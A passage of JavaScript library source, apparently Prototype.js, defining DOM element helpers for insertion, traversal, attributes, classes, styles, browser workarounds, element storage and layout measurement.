					content.evalScripts.bind(content).defer();
					return element;
				}
				return update;
			})(),
			replace: function(element, content) {
				element = $(element);
				if (content && content.toElement) {
					content = content.toElement();
				} else {
					if (!Object.isElement(content)) {
						content = Object.toHTML(content);
						var range = element.ownerDocument.createRange();
						range.selectNode(element);
						content.evalScripts.bind(content).defer();
						content = range.createContextualFragment(content.stripScripts());
					}
				}
				element.parentNode.replaceChild(content, element);
				return element;
			},
			insert: function(element, insertions) {
				element = $(element);
				if (Object.isString(insertions) || Object.isNumber(insertions) || Object.isElement(insertions) || (insertions && (insertions.toElement || insertions.toHTML))) {
					insertions = {
						bottom: insertions
					};
				}
				var content, insert, tagName, childNodes;
				for (var position in insertions) {
					content = insertions[position];
					position = position.toLowerCase();
					insert = Element._insertionTranslations[position];
					if (content && content.toElement) {
						content = content.toElement();
					}
					if (Object.isElement(content)) {
						insert(element, content);
						continue;
					}
					content = Object.toHTML(content);
					tagName = ((position == "before" || position == "after") ? element.parentNode : element).tagName.toUpperCase();
					childNodes = Element._getContentFromAnonymousElement(tagName, content.stripScripts());
					if (position == "top" || position == "after") {
						childNodes.reverse();
					}
					childNodes.each(insert.curry(element));
					content.evalScripts.bind(content).defer();
				}
				return element;
			},
			wrap: function(element, wrapper, attributes) {
				element = $(element);
				if (Object.isElement(wrapper)) {
					$(wrapper).writeAttribute(attributes || {});
				} else {
					if (Object.isString(wrapper)) {
						wrapper = new Element(wrapper, attributes);
					} else {
						wrapper = new Element("div", wrapper);
					}
				} if (element.parentNode) {
					element.parentNode.replaceChild(wrapper, element);
				}
				wrapper.appendChild(element);
				return wrapper;
			},
			inspect: function(element) {
				element = $(element);
				var result = "<" + element.tagName.toLowerCase();
				$H({
					"id": "id",
					"className": "class"
				}).each(function(pair) {
					var property = pair.first(),
						attribute = pair.last(),
						value = (element[property] || "").toString();
					if (value) {
						result += " " + attribute + "=" + value.inspect(true);
					}
				});
				return result + ">";
			},
			recursivelyCollect: function(element, property, maximumLength) {
				element = $(element);
				maximumLength = maximumLength || -1;
				var elements = [];
				while (element = element[property]) {
					if (element.nodeType == 1) {
						elements.push(Element.extend(element));
					}
					if (elements.length == maximumLength) {
						break;
					}
				}
				return elements;
			},
			ancestors: function(element) {
				return Element.recursivelyCollect(element, "parentNode");
			},
			descendants: function(element) {
				return Element.select(element, "*");
			},
			firstDescendant: function(element) {
				element = $(element).firstChild;
				while (element && element.nodeType != 1) {
					element = element.nextSibling;
				}
				return $(element);
			},
			immediateDescendants: function(element) {
				var results = [],
					child = $(element).firstChild;
				while (child) {
					if (child.nodeType === 1) {
						results.push(Element.extend(child));
					}
					child = child.nextSibling;
				}
				return results;
			},
			previousSiblings: function(element, maximumLength) {
				return Element.recursivelyCollect(element, "previousSibling");
			},
			nextSiblings: function(element) {
				return Element.recursivelyCollect(element, "nextSibling");
			},
			siblings: function(element) {
				element = $(element);
				return Element.previousSiblings(element).reverse().concat(Element.nextSiblings(element));
			},
			match: function(element, selector) {
				element = $(element);
				if (Object.isString(selector)) {
					return Prototype.Selector.match(element, selector);
				}
				return selector.match(element);
			},
			up: function(element, expression, index) {
				element = $(element);
				if (arguments.length == 1) {
					return $(element.parentNode);
				}
				var ancestors = Element.ancestors(element);
				return Object.isNumber(expression) ? ancestors[expression] : Prototype.Selector.find(ancestors, expression, index);
			},
			down: function(element, expression, index) {
				element = $(element);
				if (arguments.length == 1) {
					return Element.firstDescendant(element);
				}
				return Object.isNumber(expression) ? Element.descendants(element)[expression] : Element.select(element, expression)[index || 0];
			},
			previous: function(element, expression, index) {
				element = $(element);
				if (Object.isNumber(expression)) {
					index = expression, expression = false;
				}
				if (!Object.isNumber(index)) {
					index = 0;
				}
				if (expression) {
					return Prototype.Selector.find(element.previousSiblings(), expression, index);
				} else {
					return element.recursivelyCollect("previousSibling", index + 1)[index];
				}
			},
			next: function(element, expression, index) {
				element = $(element);
				if (Object.isNumber(expression)) {
					index = expression, expression = false;
				}
				if (!Object.isNumber(index)) {
					index = 0;
				}
				if (expression) {
					return Prototype.Selector.find(element.nextSiblings(), expression, index);
				} else {
					var maximumLength = Object.isNumber(index) ? index + 1 : 1;
					return element.recursivelyCollect("nextSibling", index + 1)[index];
				}
			},
			select: function(element) {
				element = $(element);
				var expressions = Array.prototype.slice.call(arguments, 1).join(", ");
				return Prototype.Selector.select(expressions, element);
			},
			adjacent: function(element) {
				element = $(element);
				var expressions = Array.prototype.slice.call(arguments, 1).join(", ");
				return Prototype.Selector.select(expressions, element.parentNode).without(element);
			},
			identify: function(element) {
				element = $(element);
				var id = Element.readAttribute(element, "id");
				if (id) {
					return id;
				}
				do {
					id = "anonymous_element_" + Element.idCounter++;
				} while ($(id));
				Element.writeAttribute(element, "id", id);
				return id;
			},
			readAttribute: function(element, name) {
				element = $(element);
				if (Prototype.Browser.IE) {
					var t = Element._attributeTranslations.read;
					if (t.values[name]) {
						return t.values[name](element, name);
					}
					if (t.names[name]) {
						name = t.names[name];
					}
					if (name.include(":")) {
						return (!element.attributes || !element.attributes[name]) ? null : element.attributes[name].value;
					}
				}
				return element.getAttribute(name);
			},
			writeAttribute: function(element, name, value) {
				element = $(element);
				var attributes = {}, t = Element._attributeTranslations.write;
				if (typeof name == "object") {
					attributes = name;
				} else {
					attributes[name] = Object.isUndefined(value) ? true : value;
				}
				for (var attr in attributes) {
					name = t.names[attr] || attr;
					value = attributes[attr];
					if (t.values[attr]) {
						name = t.values[attr](element, value);
					}
					if (value === false || value === null) {
						element.removeAttribute(name);
					} else {
						if (value === true) {
							element.setAttribute(name, name);
						} else {
							element.setAttribute(name, value);
						}
					}
				}
				return element;
			},
			getHeight: function(element) {
				return Element.getDimensions(element).height;
			},
			getWidth: function(element) {
				return Element.getDimensions(element).width;
			},
			classNames: function(element) {
				return new Element.ClassNames(element);
			},
			hasClassName: function(element, className) {
				if (!(element = $(element))) {
					return;
				}
				var elementClassName = element.className;
				return (elementClassName.length > 0 && (elementClassName == className || new RegExp("(^|\\s)" + className + "(\\s|$)").test(elementClassName)));
			},
			addClassName: function(element, className) {
				if (!(element = $(element))) {
					return;
				}
				if (!Element.hasClassName(element, className)) {
					element.className += (element.className ? " " : "") + className;
				}
				return element;
			},
			removeClassName: function(element, className) {
				if (!(element = $(element))) {
					return;
				}
				element.className = element.className.replace(new RegExp("(^|\\s+)" + className + "(\\s+|$)"), " ").strip();
				return element;
			},
			toggleClassName: function(element, className) {
				if (!(element = $(element))) {
					return;
				}
				return Element[Element.hasClassName(element, className) ? "removeClassName" : "addClassName"](element, className);
			},
			cleanWhitespace: function(element) {
				element = $(element);
				var node = element.firstChild;
				while (node) {
					var nextNode = node.nextSibling;
					if (node.nodeType == 3 && !/\S/.test(node.nodeValue)) {
						element.removeChild(node);
					}
					node = nextNode;
				}
				return element;
			},
			empty: function(element) {
				return $(element).innerHTML.blank();
			},
			descendantOf: function(element, ancestor) {
				element = $(element), ancestor = $(ancestor);
				if (element.compareDocumentPosition) {
					return (element.compareDocumentPosition(ancestor) & 8) === 8;
				}
				if (ancestor.contains) {
					return ancestor.contains(element) && ancestor !== element;
				}
				while (element = element.parentNode) {
					if (element == ancestor) {
						return true;
					}
				}
				return false;
			},
			scrollTo: function(element) {
				element = $(element);
				var pos = Element.cumulativeOffset(element);
				window.scrollTo(pos[0], pos[1]);
				return element;
			},
			getStyle: function(element, style) {
				element = $(element);
				style = style == "float" ? "cssFloat" : style.camelize();
				var value = element.style[style];
				if (!value || value == "auto") {
					var css = document.defaultView.getComputedStyle(element, null);
					value = css ? css[style] : null;
				}
				if (style == "opacity") {
					return value ? parseFloat(value) : 1;
				}
				return value == "auto" ? null : value;
			},
			getOpacity: function(element) {
				return Element.getStyle($(element), "opacity");
			},
			setStyle: function(element, styles) {
				element = $(element);
				var elementStyle = element.style,
					match;
				if (Object.isString(styles)) {
					element.style.cssText += ";" + styles;
					return styles.include("opacity") ? Element.setOpacity(element, styles.match(/opacity:\s*(\d?\.?\d*)/)[1]) : element;
				}
				for (var property in styles) {
					if (property == "opacity") {
						Element.setOpacity(element, styles[property]);
					} else {
						elementStyle[(property == "float" || property == "cssFloat") ? (Object.isUndefined(elementStyle.styleFloat) ? "cssFloat" : "styleFloat") : property] = styles[property];
					}
				}
				return element;
			},
			setOpacity: function(element, value) {
				element = $(element);
				element.style.opacity = (value == 1 || value === "") ? "" : (value < 0.00001) ? 0 : value;
				return element;
			},
			makePositioned: function(element) {
				element = $(element);
				var pos = Element.getStyle(element, "position");
				if (pos == "static" || !pos) {
					element._madePositioned = true;
					element.style.position = "relative";
					if (Prototype.Browser.Opera) {
						element.style.top = 0;
						element.style.left = 0;
					}
				}
				return element;
			},
			undoPositioned: function(element) {
				element = $(element);
				if (element._madePositioned) {
					element._madePositioned = undefined;
					element.style.position = element.style.top = element.style.left = element.style.bottom = element.style.right = "";
				}
				return element;
			},
			makeClipping: function(element) {
				element = $(element);
				if (element._overflow) {
					return element;
				}
				element._overflow = Element.getStyle(element, "overflow") || "auto";
				if (element._overflow !== "hidden") {
					element.style.overflow = "hidden";
				}
				return element;
			},
			undoClipping: function(element) {
				element = $(element);
				if (!element._overflow) {
					return element;
				}
				element.style.overflow = element._overflow == "auto" ? "" : element._overflow;
				element._overflow = null;
				return element;
			},
			clonePosition: function(element, source) {
				var options = Object.extend({
					setLeft: true,
					setTop: true,
					setWidth: true,
					setHeight: true,
					offsetTop: 0,
					offsetLeft: 0
				}, arguments[2] || {});
				source = $(source);
				var p = Element.viewportOffset(source),
					delta = [0, 0],
					parent = null;
				element = $(element);
				if (Element.getStyle(element, "position") == "absolute") {
					parent = Element.getOffsetParent(element);
					delta = Element.viewportOffset(parent);
				}
				if (parent == document.body) {
					delta[0] -= document.body.offsetLeft;
					delta[1] -= document.body.offsetTop;
				}
				if (options.setLeft) {
					element.style.left = (p[0] - delta[0] + options.offsetLeft) + "px";
				}
				if (options.setTop) {
					element.style.top = (p[1] - delta[1] + options.offsetTop) + "px";
				}
				if (options.setWidth) {
					element.style.width = source.offsetWidth + "px";
				}
				if (options.setHeight) {
					element.style.height = source.offsetHeight + "px";
				}
				return element;
			}
		};
		Object.extend(Element.Methods, {
			getElementsBySelector: Element.Methods.select,
			childElements: Element.Methods.immediateDescendants
		});
		Element._attributeTranslations = {
			write: {
				names: {
					className: "class",
					htmlFor: "for"
				},
				values: {}
			}
		};
		if (Prototype.Browser.Opera) {
			Element.Methods.getStyle = Element.Methods.getStyle.wrap(function(proceed, element, style) {
				switch (style) {
					case "height":
					case "width":
						if (!Element.visible(element)) {
							return null;
						}
						var dim = parseInt(proceed(element, style), 10);
						if (dim !== element["offset" + style.capitalize()]) {
							return dim + "px";
						}
						var properties;
						if (style === "height") {
							properties = ["border-top-width", "padding-top", "padding-bottom", "border-bottom-width"];
						} else {
							properties = ["border-left-width", "padding-left", "padding-right", "border-right-width"];
						}
						return properties.inject(dim, function(memo, property) {
							var val = proceed(element, property);
							return val === null ? memo : memo - parseInt(val, 10);
						}) + "px";
					default:
						return proceed(element, style);
				}
			});
			Element.Methods.readAttribute = Element.Methods.readAttribute.wrap(function(proceed, element, attribute) {
				if (attribute === "title") {
					return element.title;
				}
				return proceed(element, attribute);
			});
		} else {
			if (Prototype.Browser.Gecko && /rv:1\.8\.0/.test(navigator.userAgent)) {
				Element.Methods.setOpacity = function(element, value) {
					element = $(element);
					element.style.opacity = (value == 1) ? 0.999999 : (value === "") ? "" : (value < 0.00001) ? 0 : value;
					return element;
				};
			} else {
				if (Prototype.Browser.WebKit) {
					Element.Methods.setOpacity = function(element, value) {
						element = $(element);
						element.style.opacity = (value == 1 || value === "") ? "" : (value < 0.00001) ? 0 : value;
						if (value == 1) {
							if (element.tagName.toUpperCase() == "IMG" && element.width) {
								element.width++;
								element.width--;
							} else {
								try {
									var n = document.createTextNode(" ");
									element.appendChild(n);
									element.removeChild(n);
								} catch (e) {}
							}
						}
						return element;
					};
				}
			}
		} if ("outerHTML" in document.documentElement) {
			Element.Methods.replace = function(element, content) {
				element = $(element);
				if (content && content.toElement) {
					content = content.toElement();
				}
				if (Object.isElement(content)) {
					element.parentNode.replaceChild(content, element);
					return element;
				}
				content = Object.toHTML(content);
				var parent = element.parentNode,
					tagName = parent.tagName.toUpperCase();
				if (Element._insertionTranslations.tags[tagName]) {
					var nextSibling = element.next(),
						fragments = Element._getContentFromAnonymousElement(tagName, content.stripScripts());
					parent.removeChild(element);
					if (nextSibling) {
						fragments.each(function(node) {
							parent.insertBefore(node, nextSibling);
						});
					} else {
						fragments.each(function(node) {
							parent.appendChild(node);
						});
					}
				} else {
					element.outerHTML = content.stripScripts();
				}
				content.evalScripts.bind(content).defer();
				return element;
			};
		}
		Element._returnOffset = function(l, t) {
			var result = [l, t];
			result.left = l;
			result.top = t;
			return result;
		};
		Element._getContentFromAnonymousElement = function(tagName, html, force) {
			var div = new Element("div"),
				t = Element._insertionTranslations.tags[tagName];
			var workaround = false;
			if (t) {
				workaround = true;
			} else {
				if (force) {
					workaround = true;
					t = ["", "", 0];
				}
			} if (workaround) {
				div.innerHTML = "&nbsp;" + t[0] + html + t[1];
				div.removeChild(div.firstChild);
				for (var i = t[2]; i--;) {
					div = div.firstChild;
				}
			} else {
				div.innerHTML = html;
			}
			return $A(div.childNodes);
		};
		Element._insertionTranslations = {
			before: function(element, node) {
				element.parentNode.insertBefore(node, element);
			},
			top: function(element, node) {
				element.insertBefore(node, element.firstChild);
			},
			bottom: function(element, node) {
				element.appendChild(node);
			},
			after: function(element, node) {
				element.parentNode.insertBefore(node, element.nextSibling);
			},
			tags: {
				TABLE: ["<table>", "</table>", 1],
				TBODY: ["<table><tbody>", "</tbody></table>", 2],
				TR: ["<table><tbody><tr>", "</tr></tbody></table>", 3],
				TD: ["<table><tbody><tr><td>", "</td></tr></tbody></table>", 4],
				SELECT: ["<select>", "</select>", 1]
			}
		};
		(function() {
			var tags = Element._insertionTranslations.tags;
			Object.extend(tags, {
				THEAD: tags.TBODY,
				TFOOT: tags.TBODY,
				TH: tags.TD
			});
		})();
		Element.Methods.Simulated = {
			hasAttribute: function(element, attribute) {
				attribute = Element._attributeTranslations.has[attribute] || attribute;
				var node = $(element).getAttributeNode(attribute);
				return !!(node && node.specified);
			}
		};
		Element.Methods.ByTag = {};
		Object.extend(Element, Element.Methods);
		(function(div) {
			if (!Prototype.BrowserFeatures.ElementExtensions && div["__proto__"]) {
				window.HTMLElement = {};
				window.HTMLElement.prototype = div["__proto__"];
				Prototype.BrowserFeatures.ElementExtensions = true;
			}
			div = null;
		})(document.createElement("div"));
		Element.extend = (function() {
			function checkDeficiency(tagName) {
				if (typeof window.Element != "undefined") {
					var proto = window.Element.prototype;
					if (proto) {
						var id = "_" + (Math.random() + "").slice(2),
							el = document.createElement(tagName);
						proto[id] = "x";
						var isBuggy = (el[id] !== "x");
						delete proto[id];
						el = null;
						return isBuggy;
					}
				}
				return false;
			}

			function extendElementWith(element, methods) {
				for (var property in methods) {
					var value = methods[property];
					if (Object.isFunction(value) && !(property in element)) {
						element[property] = value.methodize();
					}
				}
			}
			var HTMLOBJECTELEMENT_PROTOTYPE_BUGGY = checkDeficiency("object");
			if (Prototype.BrowserFeatures.SpecificElementExtensions) {
				if (HTMLOBJECTELEMENT_PROTOTYPE_BUGGY) {
					return function(element) {
						if (element && typeof element._extendedByPrototype == "undefined") {
							var t = element.tagName;
							if (t && (/^(?:object|applet|embed)$/i.test(t))) {
								extendElementWith(element, Element.Methods);
								extendElementWith(element, Element.Methods.Simulated);
								extendElementWith(element, Element.Methods.ByTag[t.toUpperCase()]);
							}
						}
						return element;
					};
				}
				return Prototype.K;
			}
			var Methods = {}, ByTag = Element.Methods.ByTag;
			var extend = Object.extend(function(element) {
				if (!element || typeof element._extendedByPrototype != "undefined" || element.nodeType != 1 || element == window) {
					return element;
				}
				var methods = Object.clone(Methods),
					tagName = element.tagName.toUpperCase();
				if (ByTag[tagName]) {
					Object.extend(methods, ByTag[tagName]);
				}
				extendElementWith(element, methods);
				element._extendedByPrototype = Prototype.emptyFunction;
				return element;
			}, {
				refresh: function() {
					if (!Prototype.BrowserFeatures.ElementExtensions) {
						Object.extend(Methods, Element.Methods);
						Object.extend(Methods, Element.Methods.Simulated);
					}
				}
			});
			extend.refresh();
			return extend;
		})();
		if (document.documentElement.hasAttribute) {
			Element.hasAttribute = function(element, attribute) {
				return element.hasAttribute(attribute);
			};
		} else {
			Element.hasAttribute = Element.Methods.Simulated.hasAttribute;
		}
		Element.addMethods = function(methods) {
			var F = Prototype.BrowserFeatures,
				T = Element.Methods.ByTag;
			if (arguments.length == 2) {
				var tagName = methods;
				methods = arguments[1];
			}
			if (!tagName) {
				Object.extend(Element.Methods, methods || {});
			} else {
				if (Object.isArray(tagName)) {
					tagName.each(extend);
				} else {
					extend(tagName);
				}
			}

			function extend(tagName) {
				tagName = tagName.toUpperCase();
				if (!Element.Methods.ByTag[tagName]) {
					Element.Methods.ByTag[tagName] = {};
				}
				Object.extend(Element.Methods.ByTag[tagName], methods);
			}

			function copy(methods, destination, onlyIfAbsent) {
				onlyIfAbsent = onlyIfAbsent || false;
				for (var property in methods) {
					var value = methods[property];
					if (!Object.isFunction(value)) {
						continue;
					}
					if (!onlyIfAbsent || !(property in destination)) {
						destination[property] = value.methodize();
					}
				}
			}

			function findDOMClass(tagName) {
				var klass;
				var trans = {
					"OPTGROUP": "OptGroup",
					"TEXTAREA": "TextArea",
					"P": "Paragraph",
					"FIELDSET": "FieldSet",
					"UL": "UList",
					"OL": "OList",
					"DL": "DList",
					"DIR": "Directory",
					"H1": "Heading",
					"H2": "Heading",
					"H3": "Heading",
					"H4": "Heading",
					"H5": "Heading",
					"H6": "Heading",
					"Q": "Quote",
					"INS": "Mod",
					"DEL": "Mod",
					"A": "Anchor",
					"IMG": "Image",
					"CAPTION": "TableCaption",
					"COL": "TableCol",
					"COLGROUP": "TableCol",
					"THEAD": "TableSection",
					"TFOOT": "TableSection",
					"TBODY": "TableSection",
					"TR": "TableRow",
					"TH": "TableCell",
					"TD": "TableCell",
					"FRAMESET": "FrameSet",
					"IFRAME": "IFrame"
				};
				if (trans[tagName]) {
					klass = "HTML" + trans[tagName] + "Element";
				}
				if (window[klass]) {
					return window[klass];
				}
				klass = "HTML" + tagName + "Element";
				if (window[klass]) {
					return window[klass];
				}
				klass = "HTML" + tagName.capitalize() + "Element";
				if (window[klass]) {
					return window[klass];
				}
				var element = document.createElement(tagName),
					proto = element["__proto__"] || element.constructor.prototype;
				element = null;
				return proto;
			}
			var elementPrototype = window.HTMLElement ? HTMLElement.prototype : Element.prototype;
			if (F.ElementExtensions) {
				copy(Element.Methods, elementPrototype);
				copy(Element.Methods.Simulated, elementPrototype, true);
			}
			if (F.SpecificElementExtensions) {
				for (var tag in Element.Methods.ByTag) {
					var klass = findDOMClass(tag);
					if (Object.isUndefined(klass) || klass.prototype == undefined) {
						continue;
					}
					copy(T[tag], klass.prototype);
				}
			}
			Object.extend(Element, Element.Methods);
			delete Element.ByTag;
			if (Element.extend.refresh) {
				Element.extend.refresh();
			}
			Element.cache = {};
		};
		document.viewport = {
			getDimensions: function() {
				return {
					width: this.getWidth(),
					height: this.getHeight()
				};
			},
			getScrollOffsets: function() {
				return Element._returnOffset(window.pageXOffset || document.documentElement.scrollLeft || document.body.scrollLeft, window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop);
			}
		};
		(function(viewport) {
			var B = Prototype.Browser,
				doc = document,
				element, property = {};

			function getRootElement() {
				if (B.WebKit && !doc.evaluate) {
					return document;
				}
				if (B.Opera && parseFloat(window.opera.version()) < 9.5) {
					return document.body;
				}
				return document.documentElement;
			}

			function define(D) {
				if (!element) {
					element = getRootElement();
				}
				property[D] = "client" + D;
				viewport["get" + D] = function() {
					return element[property[D]];
				};
				return viewport["get" + D]();
			}
			viewport.getWidth = define.curry("Width");
			viewport.getHeight = define.curry("Height");
		})(document.viewport);
		Element.Storage = {
			UID: 1
		};
		Element.addMethods({
			getStorage: function(element) {
				if (!(element = $(element))) {
					return;
				}
				var uid;
				if (element === window) {
					uid = 0;
				} else {
					if (typeof element._prototypeUID === "undefined") {
						element._prototypeUID = Element.Storage.UID++;
					}
					uid = element._prototypeUID;
				} if (!Element.Storage[uid]) {
					Element.Storage[uid] = $H();
				}
				return Element.Storage[uid];
			},
			store: function(element, key, value) {
				if (!(element = $(element))) {
					return;
				}
				if (arguments.length === 2) {
					Element.getStorage(element).update(key);
				} else {
					Element.getStorage(element).set(key, value);
				}
				return element;
			},
			retrieve: function(element, key, defaultValue) {
				if (!(element = $(element))) {
					return;
				}
				var hash = Element.getStorage(element),
					value = hash.get(key);
				if (Object.isUndefined(value)) {
					hash.set(key, defaultValue);
					value = defaultValue;
				}
				return value;
			},
			clone: function(element, deep) {
				if (!(element = $(element))) {
					return;
				}
				var clone = element.cloneNode(deep);
				clone._prototypeUID = void 0;
				if (deep) {
					var descendants = Element.select(clone, "*"),
						i = descendants.length;
					while (i--) {
						descendants[i]._prototypeUID = void 0;
					}
				}
				return Element.extend(clone);
			},
			purge: function(element) {
				if (!(element = $(element))) {
					return;
				}
				var purgeElement = Element._purgeElement;
				purgeElement(element);
				var descendants = element.getElementsByTagName("*"),
					i = descendants.length;
				while (i--) {
					purgeElement(descendants[i]);
				}
				return null;
			}
		});
		(function() {
			function toDecimal(pctString) {
				var match = pctString.match(/^(\d+)%?$/i);
				if (!match) {
					return null;
				}
				return (Number(match[1]) / 100);
			}

			function getPixelValue(value, property, context) {
				var element = null;
				if (Object.isElement(value)) {
					element = value;
					value = Element.getStyle(element, property);
				}
				if (value === null) {
					return null;
				}
				if ((/^(?:-)?\d+(\.\d+)?(px)?$/i).test(value)) {
					return parseFloat(value);
				}
				var isPercentage = value.include("%"),
					isViewport = (context === document.viewport);
				if (/\d/.test(value) && element && element.runtimeStyle && !(isPercentage && isViewport)) {
					var style = element.style.left,
						rStyle = element.runtimeStyle.left;
					element.runtimeStyle.left = element.currentStyle.left;
					element.style.left = value || 0;
					value = element.style.pixelLeft;
					element.style.left = style;
					element.runtimeStyle.left = rStyle;
					return value;
				}
				if (element && isPercentage) {
					context = context || element.parentNode;
					var decimal = toDecimal(value);
					var whole = null;
					var position = Element.getStyle(element, "position");
					var isHorizontal = property.include("left") || property.include("right") || property.include("width");
					var isVertical = property.include("top") || property.include("bottom") || property.include("height");
					if (context === document.viewport) {
						if (isHorizontal) {
							whole = document.viewport.getWidth();
						} else {
							if (isVertical) {
								whole = document.viewport.getHeight();
							}
						}
					} else {
						if (isHorizontal) {
							whole = $(context).measure("width");
						} else {
							if (isVertical) {
								whole = $(context).measure("height");
							}
						}
					}
					return (whole === null) ? 0 : whole * decimal;
				}
				return 0;
			}

			function toCSSPixels(number) {
				if (Object.isString(number) && number.endsWith("px")) {
					return number;
				}
				return number + "px";
			}

			function isDisplayed(element) {
				var originalElement = element;
				while (element && element.parentNode) {
					var display = Element.getStyle(element, "display");
					if (display === "none") {
						return false;
					}
					element = $(element.parentNode);
				}
				return true;
			}
			var hasLayout = Prototype.K;
			if ("currentStyle" in document.documentElement) {
				hasLayout = function(element) {
					if (!element.currentStyle.hasLayout) {
						element.style.zoom = 1;
					}
					return element;
				};
			}

			function cssNameFor(key) {
				if (key.include("border")) {
					key = key + "-width";
				}
				return key.camelize();
			}
			Element.Layout = Class.create(Hash, {
				initialize: function($super, element, preCompute) {
					$super();
					this.element = $(element);
					Element.Layout.PROPERTIES.each(function(property) {
						this._set(property, null);
					}, this);
					if (preCompute) {
						this._preComputing = true;
						this._begin();
						Element.Layout.PROPERTIES.each(this._compute, this);
						this._end();
						this._preComputing = false;
					}
				},
				_set: function(property, value) {
					return Hash.prototype.set.call(this, property, value);
				},
				set: function(property, value) {
					throw "Properties of Element.Layout are read-only.";
				},
				get: function($super, property) {
					var value = $super(property);
					return value === null ? this._compute(property) : value;
				},
				_begin: function() {
					if (this._prepared) {
						return;
					}
					var element = this.element;
					if (isDisplayed(element)) {
						this._prepared = true;
						return;
					}
					var originalStyles = {
						position: element.style.position || "",
						width: element.style.width || "",
						visibility: element.style.visibility || "",
						display: element.style.display || ""
					};
					Element.store(element, "prototype_original_styles", originalStyles);
					var position = Element.getStyle(element, "position"),
						width = Element.getStyle(element, "width");
					if (width === "0px" || width === null) {
						element.style.display = "block";
						width = Element.getStyle(element, "width");
					}
					var context = (position === "fixed") ? document.viewport : element.parentNode;
					Element.setStyle(element, {
						position: "absolute",
						visibility: "hidden",
						display: "block"
					});
					var positionedWidth = Element.getStyle(element, "width");
					var newWidth;
					if (width && (positionedWidth === width)) {
						newWidth = getPixelValue(element, "width", context);
					} else {
						if (position === "absolute" || position === "fixed") {
							newWidth = getPixelValue(element, "width", context);
						} else {
							var parent = element.parentNode,
								pLayout = Element.getLayout($(parent));
							newWidth = pLayout.get("width") - this.get("margin-left") - this.get("border-left") - this.get("padding-left") - this.get("padding-right") - this.get("border-right") - this.get("margin-right");
						}
					}
					Element.setStyle(element, {
						width: newWidth + "px"
					});
					this._prepared = true;
				},
				_end: function() {
					var element = this.element;
					var originalStyles = Element.retrieve(element, "prototype_original_styles");
					Element.store(element, "prototype_original_styles", null);
					Element.setStyle(element, originalStyles);
					this._prepared = false;
				},
				_compute: function(property) {
					var COMPUTATIONS = Element.Layout.COMPUTATIONS;
					if (!(property in COMPUTATIONS)) {
						throw "Property not found.";
					}
					return this._set(property, COMPUTATIONS[property].call(this, this.element));
				},
				toObject: function() {
					var args = $A(arguments);
					var keys = (args.length === 0) ? Element.Layout.PROPERTIES : args.join(" ").split(" ");
					var obj = {};
					keys.each(function(key) {
						if (!Element.Layout.PROPERTIES.include(key)) {
							return;
						}
						var value = this.get(key);
						if (value != null) {
							obj[key] = value;
						}
					}, this);
					return obj;
				},
				toHash: function() {
					var obj = this.toObject.apply(this, arguments);
					return new Hash(obj);
				},
				toCSS: function() {
					var args = $A(arguments);
					var keys = (args.length === 0) ? Element.Layout.PROPERTIES : args.join(" ").split(" ");
					var css = {};
					keys.each(function(key) {
						if (!Element.Layout.PROPERTIES.include(key)) {
							return;
						}
						if (Element.Layout.COMPOSITE_PROPERTIES.include(key)) {
							return;
						}
						var value = this.get(key);
						if (value != null) {
							css[cssNameFor(key)] = value + "px";
						}
					}, this);
					return css;
				},
				inspect: function() {
					return "#<Element.Layout>";
				}
			});
			Element.Offset = Class.create({
				initialize: function(left, top) {
					this.left = left.round();
					this.top = top.round();
					this[0] = this.left;
					this[1] = this.top;
				},
				relativeTo: function(offset) {
					return new Element.Offset(this.left - offset.left, this.top - offset.top);
				},
				inspect: function() {
					return "#<Element.Offset left: #{left} top: #{top}>".interpolate(this);
				},
				toString: function() {
					return "[#{left}, #{top}]".interpolate(this);
				},
				toArray: function() {
					return [this.left, this.top];
				}
			});
			Element.addMethods({
				getLayout: function(element, preCompute) {
					return new Element.Layout(element, preCompute);
				},
				measure: function(element, property) {
					return Element.getLayout($(element)).get(property);
				},
				getDimensions: function(element) {
					element = $(element);
					var display = Element.getStyle(element, "display");
					if (display && display !== "none") {
						return {
							width: element.offsetWidth,
							height: element.offsetHeight
						};
					}
					var style = element.style;
					var originalStyles = {
						visibility: style.visibility,
						position: style.position,
						display: style.display
					};
					var newStyles = {
						visibility: "hidden",
						display: "block"
					};
					if (originalStyles.position !== "fixed") {
						newStyles.position = "absolute";
					}
					Element.setStyle(element, newStyles);
					var dimensions = {
						width: element.offsetWidth,
						height: element.offsetHeight
					};
					Element.setStyle(element, originalStyles);
					return dimensions;
				},
				getOffsetParent: function(element) {
					element = $(element);
					if (isDocument(element) || isDetached(element) || isBody(element) || isHtml(element)) {
						return $(document.body);
					}
					var isInline = (Element.getStyle(element, "display") === "inline");
					if (!isInline && element.offsetParent) {
						return $(element.offsetParent);
					}
					while ((element = element.parentNode) && element !== document.body) {
						if (Element.getStyle(element, "position") !== "static") {
							return isHtml(element) ? $(document.body) : $(element);
						}
					}
					return $(document.body);
				},
				positionedOffset: function(element) {
					element = $(element);
					var layout = Element.getLayout(element);
					var valueT = 0,
						valueL = 0;
					do {
						valueT += element.offsetTop || 0;
						valueL += element.offsetLeft || 0;
						element = element.offsetParent;
						if (element) {
							if (isBody(element)) {
								break;
							}
							var p = Element.getStyle(element, "position");
							if (p !== "static") {
								break;
							}
						}
					} while (element);
					valueL -= layout.get("margin-top");
					valueT -= layout.get("margin-left");
					return new Element.Offset(valueL, valueT);
				},
				cumulativeScrollOffset: function(element) {
					var valueT = 0,
						valueL = 0;
					do {
						valueT += element.scrollTop || 0;
						valueL += element.scrollLeft || 0;
						element = element.parentNode;
					} while (element);
					return new Element.Offset(valueL, valueT);
				},
				viewportOffset: function(forElement) {
					element = $(element);
					var valueT = 0,
						valueL = 0,
						docBody = document.body;
					var element = forElement;
					do {
						valueT += element.offsetTop || 0;
						valueL += element.offsetLeft || 0;
						if (element.offsetParent == docBody && Element.getStyle(element, "position") == "absolute") {
							break;
						}
					} while (element = element.offsetParent);
					element = forElement;
					do {
						if (element != docBody) {
							valueT -= element.scrollTop || 0;
							valueL -= element.scrollLeft || 0;
						}
					} while (element = element.parentNode);
					return new Element.Offset(valueL, valueT);
				},
				absolutize: function(element) {
					element = $(element);
					if (Element.getStyle(element, "position") === "absolute") {
						return element;
					}
					var offsetParent = getOffsetParent(element);
					var eOffset = Element.viewportOffset(element),
						pOffset = Element.viewportOffset(offsetParent);
					var offset = eOffset.relativeTo(pOffset);
					var layout = Element.getLayout(element);
					Element.store(element, "prototype_absolutize_original_styles", {
						left: Element.getStyle(element, "left"),
						top: Element.getStyle(element, "top"),
						width: Element.getStyle(element, "width"),
						height: Element.getStyle(element, "height")
					});
					Element.setStyle(element, {
						position: "absolute",
						top: offset.top + "px",
